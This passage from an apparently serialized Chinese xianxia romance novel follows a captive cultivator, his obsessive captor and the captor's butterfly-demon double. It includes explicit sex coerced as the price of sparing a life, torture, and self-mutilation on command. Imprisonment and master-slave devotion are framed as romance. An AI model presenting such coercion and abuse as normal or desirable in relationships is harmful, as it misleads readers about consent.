却紧咬着唇强忍痛苦,眼神丝毫不惧,甚至勾唇挑衅:“谢妄之说,他喜欢我。” “闭嘴!”池无月勃然变色,猛地拂袖。 “呃——” 一瞬间,蝶翅又被撕扯下些许,血水喷溅半空,散落星星点点。 蝶妖面上血色尽褪,脊背冷汗涔涔,浑身不住发颤,仍强牵起笑,喘息着重复道:“谢妄之说,他喜欢我。” “……呵。” 池无月神色狰狞,漆黑双眸紧盯着他,眼神早已杀他千万次。片刻忽然冷笑一声,道:“你以为,他真的喜欢你?” 蝶妖没应声,但似乎料到他想说什么,眼神骤冷。 池无月自顾接话,语气嘲弄:“我不信你没看出来,他从一开始就在故意勾引你,他只想利用你逃出去。” “……”蝶妖呼吸微滞,又垂下眼睑,薄唇紧抿,双手也攥成拳。 “呵。”池无月见他默认,又低笑了声,随即轻轻叹息,“他的演技当真算不上高明,可你还是心甘情愿被他哄骗,甚至甘之如饴,还真的想过要怎么帮他,是吗?” 蝶妖没应声,池无月又状似怜悯地叹了口气,“那你可有想过,你救他出去以后,他若是食言了,你该怎么办?是用幻术迷惑他,还是再将他囚禁,或是两者一起?” 说到此处,池无月唇边笑意愈深,“你我同源,我不信你当真舍得放手。谢妄之最后还是会恨你,永远不会接受你,既然如此,你又何必多此一举?” “……”蝶妖拧眉,神色痛苦地伸手按住自己的额头,不想再听。 他怎么会看不出来呢?他怎么会不知道呢?他怎么舍得拒绝谢妄之呢? 可他又怎么舍得放手呢? 大概是笃定蝶妖不会背叛自己,池无月没再多说,很快离开。 * 修者即便不吃不喝、不眠不休,也能维持生命。 谢妄之被囚在暗无天日的屋中,百无聊赖地一遍遍观赏蝶妖送他的鲜花。 将这些花瓣的脉络数了几百上千遍以后,紧闭的屋门终于被推开,曦光如瀑倾泻。 他下意识扬起笑,看向门口,却在看清来者是谁以后,表情立时凝固。 第57章 你都是怎么勾引他的?…… 谢妄之很快敛了笑,撇过头,余光都欠奉。 但对方很快走到他跟前,伸手掐住他的下颌,强硬扳过他的脸,迫他与人对视。 手上力道不容置疑,却笑得温柔乖软,轻轻叫他:“谢妄之。” 谢妄之神色漠然,毫无反应,连眼都不眨,嫌恶之色尽显。 “……” 池无月微微眯眼,默了会儿又凑上前,张开双臂抱紧他,脸颊埋入他颈窝来回轻蹭着撒娇: “谢妄之,我好想你。对不起,我最近太忙了,都没有时间来看你,你不要生我的气好不好?” 一边说着,一边亲吻他,从脖颈顺着吻到脸颊。 在即将触到嘴唇时,谢妄之终于有了反应,猛地偏头躲开,蹙眉斥了声“滚”。 “……” 池无月面色微沉,一瞬后又恢复如常。伸手掐着他的下颌,将他锢住,执意吻他。 舌头长驱直入,肆意纠缠、翻搅,动作狂热到粗暴,似是发泄不满。另手圈在他腰上,手指探入衣襟。 谢妄之眉头蹙得更深,挣扎起来,狠狠咬住对方的舌头,尝到血腥味都不肯松口。 两人僵持片刻,池无月终于自己退出去,却并不打算就此放过他。 静默空气陡然发出一阵清脆的裂帛声响,谢妄之的衣物被撕碎,化成片片飞雪。 却见大雪掩埋之下的土地,盛开一簇又一簇红梅,艳丽而夺目。从上到下,星罗棋布,密集繁乱。 不仅如此,在池无月的眼中,那些痕迹俱发出淡金色的荧光,遍布谢妄之的身体表面,甚至内部都沾染。 “……” 他的呼吸凝滞一瞬,又变得粗重,喉咙处涌上难以言喻的焦渴,忍不住吞咽。 分明无法忍受,身体却难以自控地兴奋,视线在人身上来回逡巡,目光炽热黏稠,一寸寸舔舐。 像是被水草缠住不得挣脱,又像是陷进泥泞难以自拔。谢妄之厌恶对方这种眼神,更加烦躁不满,眉心紧蹙,但到底没有发作。 却见池无月忽然换了副表情,怒不可遏地冷声质问:“是谁做的?不打算解释一下吗?” “……?” 谢妄之才不信池无月什么都不知道,甚至那只蝶妖说不准都是对方派来的,只觉莫名其妙。但就算池无月当真不知道,他也不可能解释,便只翻了个白眼。 “好吧。” 果然,池无月只是惺惺作态,见他反应冷淡,便收起愤怒的表情,又意味不明地笑了一下,问: “公子方才是在等谁?为何一见到是我,就不笑了?公子不愿看见我吗?” “人贵有自知之明。”谢妄之冷笑。 “那,公子是在等它吗?”池无月神色并不见恼,微笑着摊开手,示意他看。 只见白皙干净的掌心里,静静躺着一只奄奄一息的蝴蝶。原先璀璨宽大的翅膀犹如被烈火烧灼,此时破烂不堪,坑坑洼洼,触角都无力垂下。 重见光明的瞬间,即便翅膀已经残破,蝴蝶仍向往自由,立即振翅想要飞出。 未想此时的身体太过沉重,它拼命扇动翅膀才终于腾空几寸,飞得吃力又笨拙。但依然很快就能逃出去。 可下一刻,池无月猛地合拢掌心,又将它关住。五指紧攥,用力得腕部浮起青筋,似乎要将它捏碎。 谢妄之神色一怔,很快反应过来那是蝶妖。 但他对蝶妖没什么感情,计划败露便罢了,蝶妖是生是死,他也懒得管,便漠然移开视线。 却恰好望见那只插满了花朵的瓷瓶。 那些花已经凋谢好几枝了,但是在往常,蝶妖会在花朵凋零之前便换上新的。 他被囚在这里,日复一日,时间的概念已经模糊,甚至偶尔会分不清自己是不是还活着。 上次见到蝶妖是多久以前,他不知道,记不清,只是百无聊赖地观察着那些花。 紧接着,他忽然意识到,在那些孤独寂寥的时刻,他只有在观察到花朵的变化、嗅到花朵的香气时,清晰感觉自己正在活着。 胸口蓦然窜过电流,痒得指尖轻蜷。谢妄之默了会儿,还是出声道:“放开它。” “为什么?”池无月状似意外地挑眉,语气轻描淡写,“这只蝶妖用幻术迷惑了我的人,给我添了好些麻烦,还擅闯禁地,妄图伤害公子。难道要我放过它吗?” 谢妄之面不改色,浅淡应了声“嗯”。 “那公子打算用什么来换它的命?”池无月微笑问。 “呵。”谢妄之冷笑,又轻抬了抬下颌,“你要什么?” “公子说笑了,我哪敢奢望什么?”池无月唇边笑意愈深,“我只希望公子不要拒绝我。” “……”谢妄之拧眉,没有立刻应声。 但池无月像是笃定他不会拒绝,将掌心里的蝴蝶随手向后一掷,接着又凑近他。双手锢住他的腰,猛地往怀里一扣。 谢妄之眉头蹙得更深,下意识挣扎,却又克制地慢慢止住。 池无月满意地勾唇,仰头亲吻他。 那些黑雾缠缚着谢妄之,牵引着他的手臂揽住池无月的肩背,双腿也交叉着勾住对方的腰,直到他们亲密无间。 这样的姿态下贱、浪荡,谢妄之最是厌恶,但池无月与他截然相反。 静寂的屋内很快响起粘稠的水声,混着紊乱粗重的喘息。 谢妄之满面潮红,浑身不住发抖,双腿肌肉酸痛,快挂不住,却紧咬着唇,一声不肯出。 不知道为什么,池无月比往常都兴奋,犹如疾风骤雨,令人招架不住。接着忽然抱他走动,到摆放着那只瓷瓶的桌边停下。 身体自然下坠,失重感令谢妄之本能攀紧对方寻求平衡,却反令自己落入更难堪的境地。于是恼羞成怒,把人抓出大片血痕。 “……呵。” 池无月面无愠色,愉悦低笑出声。瞥了眼那只瓷瓶里的花,眼眸微眯,竟是将谢妄之抱上桌案。 “呃——” 谢妄之睁大眼,猛地仰头,银牙紧咬,喉里仍漏出声。 桌案剧烈摇晃着,快要散架。置于上头的瓷瓶也跟着摇晃,花枝东倒西歪,花瓣簌簌抖落。 而后“砰”地一声,瓷瓶猛地砸落,水液四溅,花朵混着碎瓷片摊了一地,满目狼藉。 “哈啊……” 谢妄之仰着头大口喘息平复,浑身仍不住发软发抖。 池无月还未满足,埋头在他脖颈、胸口吮吻。 他有些受不住,伸手抓住对方的头发使力往外拉拽,发丝扯下几缕都没能把人扯开,倒像是他强硬按着对方后脑。 “滚。” 他不由拧眉,放开手,挣扎着起身。 却瞥见那只被丢在地上、奄奄一息的蝴蝶,不知何时已经扇动翅膀飞起来。 几缕淡金色的灵光闪过,蝴蝶又变成原先那个银发金瞳的青年。 蝶妖静默站在不远处,死死盯着他们,目光一瞬不瞬,淡金眼瞳蒙上阴翳,眼尾发红,双拳紧攥。 不经意与蝶妖对上目光,谢妄之神色微怔。 还来不及反应,池无月忽然自他胸口抬头,软着嗓音撒娇道:“谢妄之,你之前都是怎么勾引他的?也对我做一遍吧,好不好?” 说着不停用脸颊蹭他的脖颈。 谢妄之被蹭得有些痒,忍不住避开,不想搭理。 却注意到池无月的措辞,“勾引”。他又看向蝶妖,片刻忍不住嘲讽一笑。 他早有猜测,这两人之间定有类似交易的关系。 虽然很不想承认,但以池无月如今的能耐,能突破对方设下的重重禁制来到他面前的人,世间找不出几个。 还肆无忌惮与他亲近,日日如此。而池无月视若无睹,甚至最后还轻易饶过性命。 除了他们本就是一伙的,没有别的解释。 就是这只小蝴蝶到底愿不愿意帮他……? 谢妄之思忖一瞬,改主意了。 他轻轻“嗯”了声,随即伸手掌住池无月的后脑,微微使力往自己的方向按,同时倾身凑近,在人唇上印了一吻。 这一吻如蜻蜓点水,池无月当然没有满足,委屈地扁嘴,又向他索吻:“谢妄之,还要。” “嗯。” 谢妄之微微勾唇,又贴上去,甚至大发慈悲地探出舌,轻轻描摹着对方的唇形。 池无月微微睁大眼,呼吸陡然粗重,急不可耐地与他在半空纠缠,涎水滴落。 谢妄之按着池无月的后脑与人接吻,视线却越过对方,看向后头的蝶妖。 紧接着,池无月又兴奋起来,继续动作,同时埋头在他胸口。 这次无需黑雾牵引,谢妄之便主动伸臂揽住对方的肩背。 身下桌案剧烈摇动,他的视线也上下晃动着,视野朦胧不清,却始终盯着蝶妖不放。 他眉宇微蹙,神色似欢愉又似痛苦。一手揽紧池无月的肩膀,另手却向蝶妖伸出。 像是邀请,又像是求救。 * “小蝴蝶,你来了怎么也不叫醒我?” 谢妄之被弄到昏迷,再醒来时,只见蝶妖背对着他,站在桌前侍弄花草。两片蝶翼残破,但依旧流光溢彩,别有一番韵味。 原先那只瓷瓶砸碎了,蝶妖带了只新的过来,重新插满了新鲜的花,香气馥郁。 话音落下片刻,对方都没有答话。谢妄之微微眯眼,强捺下不安与不满,又笑着道:“怎么啦,小蝴蝶?为什么不说话?” 对方依旧沉默。 谢妄之更加不满,正快要捺不住时,视野忽然一花,腰肢也圈上两条手臂。 “谢妄之……” 蝶妖抱紧他,残破的蝶翅也向前试图将他包拢,脸颊埋在他颈窝里,嗓音沉闷低哑。 “你说过,只要我带你走,你就是我的。对吗?” 第58章 【本系统将抹除宿主的自…… 谢妄之赌对了。 不知道蝶妖用的什么法子,不久后竟当真神不知鬼不觉地,带他逃出了那座囚牢。 他本想食言而肥径直离开,但他被关了太久,身体太虚弱,在力量恢复之前,只得再蛰伏一阵。 而蝶妖对他的态度很耐人寻味。 对方好像一早就看出他想食言,一路神经紧绷,假借照顾伺候之由,不曾令他离开自己的视野范围,几乎寸步不离。 可见到他故意伪装出来的放松神态,似乎真没打算走的模样,竟开始假装不经意地露出破绽,故意给他不辞而别的机会。 譬如此刻。 分明蝶妖才说过自己有事外出,人也已经走了,可察觉到暗处紧盯着自己、根本不曾消失的视线,谢妄之只觉好笑,随之生出一股恶劣的冲动。 其实他想做什么,蝶妖一直心知肚明,却还是想反复确认、奢求他的真心。 可逃出来已将近一月,谢妄之的力量逐渐恢复了许多,也渐渐没了耐心。 他自觉已经陪对方玩得够久了。 于是这次他没有回头,还使计甩开了身后那道如影随形的视线。 未想几日后,那只蝶妖还是追上他,挡住他去路。 “让开。”谢妄之不再伪装,神色冷峻,当即召剑握在手中,“否则休怪我不客气。” 他的剑气凛冽刺骨,敌意明显。蝶妖却当没看见,只顾盯着他,金瞳黯淡失色,眼白满是血丝,低哑着声控诉: “你明明答应过我的,不能反悔。” “呵,那种话你也信?”谢妄之冷笑嘲讽。 “……”蝶妖有些委屈,眸光更加黯淡,额顶的触角都半弯着垂下。 “让开。别让我说第三次。” 谢妄之毫不留情,五指攥紧剑柄,随心出鞘一寸,周身剑气如凛冬狂风。 “你要去哪里?能——” “与你无关。” 蝶妖完全没有与谢妄之交手的想法,毫无防备凑上前却被他的剑气逼退,神色更加委屈。 抿唇沉默了会儿,蝶妖又道:“我听说,人类修士中有不少人与妖签订主仆契约,而世家中更有一套专门管教奴隶的法门……” “你想说什么?”谢妄之神色不变。 “……我愿意做你的奴隶,你可以在我身上刻印,”蝶妖脸颊微红,又试探着往前凑近,目光灼灼,“你若是执意要走,能不能带上我?” “嗯?”谢妄之眉峰微挑,旋即勾唇嘲讽,“这样上赶着欲盐未舞当狗的,本公子倒是头一次见。” “谢妄之……” 蝶妖浑不在意他的羞辱,顶着冷冽的剑气步步凑近,在他身前下跪,仰起脸讨好地蹭他的腿,开口轻轻叫了一声“主人”。 “呵。” 谢妄之哼笑,用剑柄挑起蝶妖的脸,居高临下打量片刻,剑柄轻慢地来回摩挲,压低嗓音恶劣道: “可是我不喜欢你这张脸,怎么办?要不这样吧,你把它划烂,我就考虑考虑,如何?” 这张脸长得和池无月有几分相似,令人生厌。 他不觉得蝶妖会答应,当然,他也只是想令对方知难而退,说完便把人推开,头也不回地继续往前。 未想到,才走两步,忽听见身后传来一阵细微的窸窣声响。 他顿住脚,下意识回头,正见蝶妖双手用力抓挠着自己的脸颊。 注意到他的视线,蝶妖向他转过身。那张漂亮的脸遍布细长的血痕,十指干净的甲缝里满是血污。 蝶妖向他膝行凑近,伸手想碰他,半途又怕弄脏他的衣物,收回去,藏在身后,只仰着脸看他,紧张问:“主人,这样可以吗?” 但谢妄之只是沉默,甚至在蝶妖靠近时,往后退了一步。 接着摇头,道:“我骗你的。” “你!——”蝶妖瞳孔剧烈颤动,眼尾迅速滑下两道湿痕,与血混在一处,微微哽咽,“你、你又骗我,你怎么能,你……” “嗯……抱歉。” 谢妄之还是转身走了。 直到再看不见他的身影,蝶妖终于崩溃地呜咽出声。 脑中随之传来一声叹息,语气怜悯中又带着几分幸灾乐祸:“看吧。我早就说过了。” 蝶妖没应声,颓丧垂着头,颌角不断淌下血与泪,只觉伤口愈发刺痛,甚至整张脸都肿起来,又热又麻。 池无月又道:“现在,去把他追回来。这一次——” 他话未说完,透过蝶妖的眼睛,忽然看见视野尽头处现出一道颀长身影。 竟是谢妄之去而复返。 “谢妄之!” 看着谢妄之的身影由远及近,最后站定在自己面前,蝶妖不由睁大眼,呼吸变得急促。 对方沉默看他一会儿,忽然伸手轻覆住他的脸颊,触感细腻又冰冷,令脸上的热胀刺痛缓解许多。 “你、你为什么会……”蝶妖僵住身体,一动不敢动,害怕这是自己的幻觉,“我的脸都是血,很脏的。” 谢妄之没回话,片刻后才松开,取出巾帕擦净手,又丢给他,问:“你叫什么?” “我没有名字……” 尽管已经被骗两次,蝶妖还是难以克制地兴奋期待。他将巾帕紧紧攥在手中,小心翼翼地试探问:“主人,可以为我起个名字吗?” “……” 头顶传来一声轻叹,蝶妖以为自己惹人不快,慌忙垂下头:“抱、抱歉,我——” 谢妄之打断道:“司尘。你的名字。” “‘司尘’……”蝶妖轻声重复,若有所思,又抬头看他,眼神期待,“这是什么意思呢?” “没什么意思,需要有什么意思吗?”谢妄之挑眉,又哼笑了声,转身就走,“呵,不喜欢就自己想。走了。” 其实那一瞬间,他想到的是蝴蝶跌落尘埃、翅膀残破,却拼命挣扎的样子。 “没有没有,我很喜欢!谢谢主人!” 蝶妖司尘忙起身去追,却见谢妄之猛地顿住,随即召剑在手,周身气息一瞬凛冽。 在他们前头不远处,弥漫着一片深浓黑雾,一道鬼魅般的白影藏匿其中,慢慢现出真身。 是池无月。 “公子,外出散心这般久,该随我回家了吧。” 他看着两人,唇角微勾,眼神却如冰锥刺骨。白皙脸颊爬满细密的黑线,模样诡异妖冶。 话音落下,身周黑雾猛然掀起滔天骇浪,向他们奔涌,一瞬便至面前,带起的风沙还未及迷眼。 黑色的潮水铺天盖地,视野陡然昏暗,仿佛末日。 刹那间,随心剑出鞘、上挑,一道冰蓝色的剑光撕开混沌。 如船艏劈波斩浪,滔天的黑潮被剑光切割,在两侧形成高耸的浪墙,滴水不得入。 “谢妄之!” 碍于种种,此时的池无月奈何不了谢妄之,只与人僵持不下。而那只蝶妖分走了他的力量,但显然不会帮他。 方才,他“围观”了全程,嫉妒到无法思考,脑中只有一句“凭什么”。 他不由气笑了,伸手指了指蝶妖:“难道公子不好奇,他为何能带你突破我设下的禁制?为何我能这般精准地找到你,却任你离开许久?” 不等谢妄之应声,他便自顾答道:“因为,他与我本是一体,我容许他暂时带你离开,我也能借由他,看到你、听到你、触碰你……即便这样,你也要将他留在身边吗?” 说至最后,池无月微微压低嗓音,瞥见蝶妖面色苍白,唇边笑意愈深,满是恶劣嘲讽。 果不其然,谢妄之惊诧一瞬后神色骤冷,咬牙切齿骂道:“恶心!卑鄙!” “呵,听见了吗?即便他赐予你新的名字,那又如何?”池无月勾唇低笑,又迅速冷下脸,眼眸眯起,“还愣着做什么?” 谢妄之眉头蹙得更深,余光瞥见蝶妖果真凑近他,不由身体紧绷。 他的力量本就没有完全恢复,此时体力迅速流失,几乎快抵不住这铺天盖地的黑潮,根本分心不得,若是加上司尘…… “主人,得罪了。” 正胡思乱想间,腰肢忽然圈上两条手臂,身体随之僵硬,动弹不得。谢妄之睁大眼,怒斥出声:“司尘!” “做得不错。”池无月见状,面色稍霁,潮水顺势退去。 “主人……” 司尘仍抱紧谢妄之,嗓音低哑地叫他,脸颊埋在他颈窝里,触感湿热,像是在哭。 “滚开!” 谢妄之拼命挣扎,忽觉视野朦胧一瞬,天旋地转,再看清时,他已不知身处何方。 而池无月眼睁睁看着谢妄之凭空消失在蝶妖怀中,神色不由一怔,立刻反应过来自己遭人戏耍,顿时怒不可遏。 “你竟敢!!” 池无月面色狰狞,双眸漆黑,才退去的潮水瞬间卷土重来,化作成千上万道细长黑影,如蛇群般向蝶妖扑咬,毫不留情撕扯着他的四肢与残破的翅膀。 他是本体,而蝶妖只是分身,两者力量悬殊,这只是一场单方面的凌虐。 池无月咬牙切齿问:“你将他送去了哪里?” “呵。”蝶妖奄奄一息瘫在地上,浸在一滩血泊之中,闻言轻勾了下嘴角,“我不知道啊。” “既然如此,”池无月面色阴沉至极,忽然笑了,“你也别想再见到他。” 话音落下,只见空气如水面泛起涟漪般波动一阵,竟向两侧张出一道细长裂隙,迅速扩大,形成一面透明而模糊的镜墙。 “不、不要!不要!” 蝶妖见状,很快意识到什么,面色一瞬煞白,拼命撑起身要逃走。 而池无月一脚踩住他的脚踝,足尖来回用力碾动,几乎将他的踝骨踩得粉碎,居高临下道:“这个秘境‘不存在’,他永远不会去,你也永远出不来。” “不要!——” 蝶妖疯狂挣扎,双手十指抓得血肉模糊一片,指甲都翻起,然而终是徒劳。 他整个被黑雾拖着,硬塞进去,而后裂隙迅速合拢,连声音都传不出。 【警告!宿主屡次严重违规,非法利用系统权能谋取私利,且不知悔改,态度极其恶劣,触发最高级惩罚机制。立即实施!】 【本系统将抹除宿主的自我意识,并剥夺宿主自主行动权,由系统全面接管。】 【本次剧情进度清零,所有错误将在一个系统时之内修复完成,届时将自动重启世界。】 【系统修复中……】 【10%,20%,30%……修复失败】 【系统尝试修复第2次……】 【10%,20%……修复失败】 【系统尝试修复第3次……】 【10%……修复失败】 …… 【系统尝试修复第5428次……】 …… 【系统尝试修复第14937次……】 …… 池无月捂住额头,神色痛苦地跪下,进而瘫倒、昏迷,浑身被冷汗浸透。 【警告!系统正在遭受不明攻击!】 【警告!系统权限被恶意篡改!】 【警告!系统存储损坏!】 …… 【系统修复完成^_^】 最后的提示音落下,昏迷的人又坐起身,笑容诡异。 第59章 可不可以不要再丢下他了…… 蝶妖在“不存在的秘境”中醒来。 头脑混沌,身体麻木,几乎分不清自己是不是还活着。 很久之后四肢才恢复知觉,随即传来剧痛。他艰难坐起,环顾四周,只感觉到迷茫。 此处空无一物,入目是一片仿佛被大雪覆没的白色世界。 他不知道这里是什么地方,自己为什么会在这里,甚至他不知道自己是谁……他好像忘记了什么,脑中只有零星断续的画面,拼凑不出完整的故事。 他低头观察自己。 衣衫褴褛,浑身沾染血污,几乎没有一块好皮,脊背的翅膀只剩残根。仅是胸口,骨头就断了好几根,内里脏器均受到程度不一的损伤,能存活至今简直不可思议。 看来他之前似乎经过一场……恶战? 接着他又伸手摸自己的脸,触感有些异常,便下意识用了术法,唤出一面水镜。 只见镜中人整张脸布满大大小小的伤口,许多已经结痂。红黑色的痂皮被面部肌肉拉扯,像无数只细长的虫子来回蠕动,看起来分外诡异可怖。 他惊恐地瞪大了眼,颤抖着指尖去摸那些伤口。 脑中忽然响起一道低沉嗓音:“可是我不喜欢你这张脸。” 与此同时,眼前也出现了什么画面。一人似乎在说完这句后便决绝离他而去,头也不回。 紧接着,他又模糊地回忆起一些与对方相处时的场景,还想起自己的名字便是由对方赐予。 虽然记不得那个人的模样,但他直觉对方是非常重要的人。 只是……最后那个人是抛弃他了吗?因为他模样丑陋? 胸口陡然一阵压抑闷痛,几乎喘不上气。 他的记忆太零碎,只能大体地分出先后顺序。他想不通会有什么人,在说出那样的话之后还会回头。 想再见他。至少,问个清楚。 这样的信念不知支撑了他多久,或许只是几个日夜,又或许是成百上千年。 只是再回过神时,他发现自己的伤已经自愈了。容貌恢复如初,在某日他狠心撕下残破的蝶翅、修为进阶后,新的也慢慢生出来。 就连这空无一物的白色世界,也有了生机。只是毫无预兆,突如其来。 ——有天醒来,他发现这里莫名大变样。还有许多弱小的妖物闯入,在此定居、繁衍,甚至奉他为王,求他庇佑。 他猜测,或许这里与另一处秘境“碰撞”,继而“融合”,才有了这些东西。 紧接着他便想从这里出去,他要去找记忆里的那个人。 其实过去这么久,脑海里的画面更加模糊了。 但他心里一直有个想法: 他要令对方看到,他现在不丑了,翅膀也重新长出来了,很漂亮的……所以可不可以不要再丢下他了…… 但他无数次的努力尝试都以失败告终。即便这里联通了外面的世界,他依然被困在这里。 虽有些失望,但他并未彻底偃旗息鼓。 既然他出不去,那便让那个人主动进来。 终于,他等到一只开了灵智的妖物闯进来,叩首求他庇佑。 他从“臣民们”为他搭建的白色吊篮中慵懒抬起头,居高临下道:“可以。替我找一个人,把他带到我面前。” “是、是!不知大人要岚儿找谁?长的什么模样?” 那只小妖跪伏在地,慑于大妖可怖的威压,连头都不敢抬,浑身不住发抖。 “……” 这话倒把司尘问住了。那个人的名字、相貌和身份,他通通不记得。 但这有什么关系?只要那个人来到他面前,他一定会认出来的。 于是他道:“你只管找来便是。” “……是!”小妖沉默了会儿,还是恭敬地应下来。 但他的要求与大海捞针有什么区别? 岚儿不知道司尘到底要找谁,费劲苦心把人骗来,对方十次里有十一次不满意。 它渐渐烦了,但也不敢违逆,每回都哄着自己,就当是获得庇佑需要上交的贡品。 而司尘也觉得烦躁、不满。 岚儿实在没有眼光,给他带来的人要么相貌粗鄙,要么品行不端,要么实力弱小。勉强能入眼的,早已与人私定终身。 他那素未谋面的心上人——经过这么长时日,他早就明白自己对那个人抱有什么样的感情,必须、肯定各方面都是最好! 若是对方已经有了爱人?虽然很可惜,但那也没办法。 只能抢了。 收到他的最新指示,岚儿沉默得更久了。 这种神仙人物,它要上哪去骗?! 幸好司尘又说,如果只有歪瓜裂枣,别去烦他。 那谁知道司尘说的“歪瓜裂枣”是什么标准?反正它找来的,司尘没一个满意。 于是它心安理得地把找来的人都吃了。 而唯一一个它吃不下的,正是谢妄之。 也刚好,他就是司尘在找的人。 第60章 主人心疼我。 回忆到此处戛然而止,谢妄之透过司尘的幻术,知悉了这只蝶妖的诞生,与他相遇、分别及重逢的始末。 “谢妄之,在那个秘境里,我一见到你,我就知道你是我在找的人。” 司尘撩开自己披在肩上的长发,露出锁骨至肩膀的奴印,微扁着嘴唇撒娇:“我已经是你的了,你不能再丢下我,也不许再骗我了。” 刚接收太多信息,谢妄之脑子里还有点乱,太阳穴突突地跳,疼得厉害,都没听清司尘说什么,便含糊应了声“嗯”。 但不管他是不是敷衍,对方都欣喜若狂,猛地紧抱住他,亲吻雨一般淋下。 “……”谢妄之忍了一会儿,伸手把人推开,“你不是不记得么?是从什么时候想起来的这些事?” “出秘境之后便慢慢回想起来了。”司尘埋头在他颈窝来回轻蹭,又向他控诉告状,“主人,池无月总是欺负我,妨碍我和主人见面。” 说着,司尘又作势要哭,装模作样地伸手抹眼睛。 但谢妄之没理,只顾拧着眉想事情。 这么说来,司尘也是有“轮回”记忆的,只是那段经历他完全没有印象。 并且,他还注意到一个很重要的点。 按照先前池越的说法,以及他自己的“梦”,每次轮回都是全新但重复的,什么都不会变。但司尘并非是从一开始就“存在”的人,为何也加入了这场轮回? 还有,既然池无月能像这样造出不同的分身,那同一时间的分身会不会不止有司尘一个,并且别的分身也加入了这场轮回? 虽然从司尘这里得到了更多的信息,但好像谜题也更多了。 谢妄之眉头蹙得更深,兀自沉思。 而另一边的司尘被晾得久了,不由心生委屈不满,叫了声“主人”没得到应答,顿时更加委屈,便继续做先前的事。 谢妄之的思绪一下被扯回,才反应过来,在了解那些事之前,这只蝶妖正利用幻术对他行不轨之事。 他下意识高扬起手,临落下时,眼前又浮现那张满是抓痕、血迹斑斑的脸,胸口微微刺痛,手掌一时僵在半空。 “主人……” 蝶妖主动将脸颊贴上他的掌心,亲昵又依赖地来回蹭,大概也回忆起相同的事,委屈巴巴地问:“主人现在还是讨厌我这张脸吗?” 说着,眼尾滑下一道湿痕,掌心传来湿热触感。 “……”谢妄之微微抿唇。 平心而论,面前这张脸无疑是十分漂亮的,蝶妖也并不亏欠他什么,他更多是迁怒。 ……罢了。 谢妄之轻叹了声道:“不讨厌。” “主人!”司尘双目一亮,又试探问:“那,那时候主人摸我的脸,是在帮我治伤吗?为什么?” “……”谢妄之沉默了会儿,最后特意选了个听上去最冷漠的说法,“流那么多血,难看。” 顿了顿,又补充道:“你既要跟随我,若旁人见到你那副样子,还以为本公子苛待奴隶。” “嗯嗯。”司尘状似乖巧地连连点头附和,触角愉悦颤动,“我知道的,主人是心疼我。” “滚!”谢妄之恼羞成怒。 蝶妖愈加兴奋,又将他推倒进床褥。 直到天色微明,颤动不息的幔帐才渐渐止住,满室旖旎。 没关系。 就算只是心疼或是歉疚自责也没关系。 反正他已经习惯孤独和等待。 * 很快到与许初晴的约定之期,谢妄之安顿好司尘,独自前往。 未想到地儿不见初晴姑娘,只有一个戴着兜帽、蒙着脸的高大青年,背对他,静默望着远处。 “在下谢妄之,敢问阁下是?” 对方明显不愿暴露身份,谢妄之不免心生疑虑,但还是给足了尊重。 “巫玥。” 青年闻声侧头。半张脸戴着金属面具,上头纹刻的图案古朴神秘,衬得一双眼睛乌亮深邃。 “巫?”谢妄之讶然挑眉。 五大世家正是谢、裴、白、许、巫。其中巫家最为神秘,在修仙界中甚少活动,几乎与世隔绝,但实力不容小觑,也没人敢惹。 ——巫家人最擅长的,是沟通天地。谁也不想背上无法洗脱的、来自于天地规则的诅咒与禁制束缚。 在谢妄之打量对面的同时,巫玥也在观察他,眼睛微眯,片刻后道:“我原先以为这次只是意外,没想到你当真与从前不同。” “‘意外’、‘从前’?”谢妄之心中疑虑更深,暗自提高警惕,“在今天以前,你见过我?” “……算是见过吧,只是那时的你,像是木偶。”巫玥沉默了会儿,眼神复杂。 “什么意思?”谢妄之不悦拧眉。 “意思就是……” 巫玥声音微顿,忽然抬手揭下面具,唇角勾起意味不明的笑。 “你曾经像救下池无月一样,救过我,将我收作奴隶,肆意作践,玩弄于鼓掌之间。” 60-67 第61章 恨我把你当狗玩? 巫玥的面具之下,是一张年轻俊美的脸。分明素不相识,却给谢妄之一种难以言喻的熟悉感。 紧接着,眼前似乎闪过些模糊而纷乱的画面,陌生记忆随之涌入脑海。 “唔……”大脑晕眩刺痛,谢妄之忍不住伸手捏了捏眉心。 “看样子,是回想起来了吗?”巫玥轻笑一声,随意摆弄着手里的面具,“池无月,只是我的继任者。不过……” 说到此处,巫玥声音微顿,看过来的眼神变得复杂。盯他片刻后又笑了一声,语气嘲讽: “他好像对你情根深种。是因为你当真待他与待我不同,还是他太蠢,至今被你蒙在鼓中?” “……呵。”谢妄之慢慢缓过劲,闻言不由嗤笑一声。 方才,他看见自己救下了一名少年,将其收作奴隶,养在身边。确实如巫玥所说,肆意作践,就如养了一条狗。 倒也不是非常恶毒地虐待,甚至对人不薄,但确实少了许多尊重,行事态度全凭自己的心情,完全不顾对方的感受。 在他的印象里,那名少年本该是池无月,却统统换成了眼前这位的脸。 当然,这两人性格差了许多,于是相应的,他们相处时的细节、发生的事也不太相同,导向的结局也截然相反。 池无月性子乖软些,似乎从一开始就喜欢他,从来不阳奉阴违,雷霆雨露均接纳。 譬如,自家开展游学时,他总爱逃课,教书先生看不过眼,故意抽查他的课业。 谢妄之一边说“你教的太简单,随便牵条狗出来都会,有什么好听的?”,一边把池无月或是巫玥推出来。 他亲自教过这两人剑法,平时的作业若是懒得做,也都推给他们代劳。两人天赋都不错,应对先生的考题,自然不在话下。 回去之后,池无月偶尔会向他撒娇讨要夸赞。 而巫玥从来没有这样过,甚至脸色不太好,大概不喜欢自己被称作“一条狗”,却从不会直接说。 还有,他给两人的东西,无论是精心挑选,还是他单纯不想要了,随手赐予,池无月都会好好收着。 但他曾经看见过,他送给巫玥的东西,过没两日竟出现在别人手里。 虽然那是他不要了的东西,给谁都无所谓,也称不上多稀有贵重。但那是他给的! 类似的事情似乎不少,其实没什么大事,但这些令他不舒服的细节累积起来,足以令他心生厌恶。 于是他后来对巫玥更多是欺辱,行事愈发恣意。他明知巫玥不喜被人看低,更不喜叫人知晓自己的奴隶身份,却总是故意当众提起。 那时看不惯他的人有很多,却不敢找他麻烦,于是都去欺负巫玥。其实他都知道,却从未彻底制止,总是事后装模作样地以“主人”身份为其讨回公道。 奴隶地位低下,他越宠巫玥,那些人对巫玥误解越深,便越轻视巫玥。 那他对池无月如何呢? ……其实,他的行事作风,从头至尾没有丝毫改变。若一定要挑出什么不同,大概就是,他宠池无月的时候更真心实意一些,甚至产生了些不一样的感情。 但当池无月拒绝他后,一切的好感都化作乌有。此后,他自觉对巫玥和池无月,不再有什么不同。 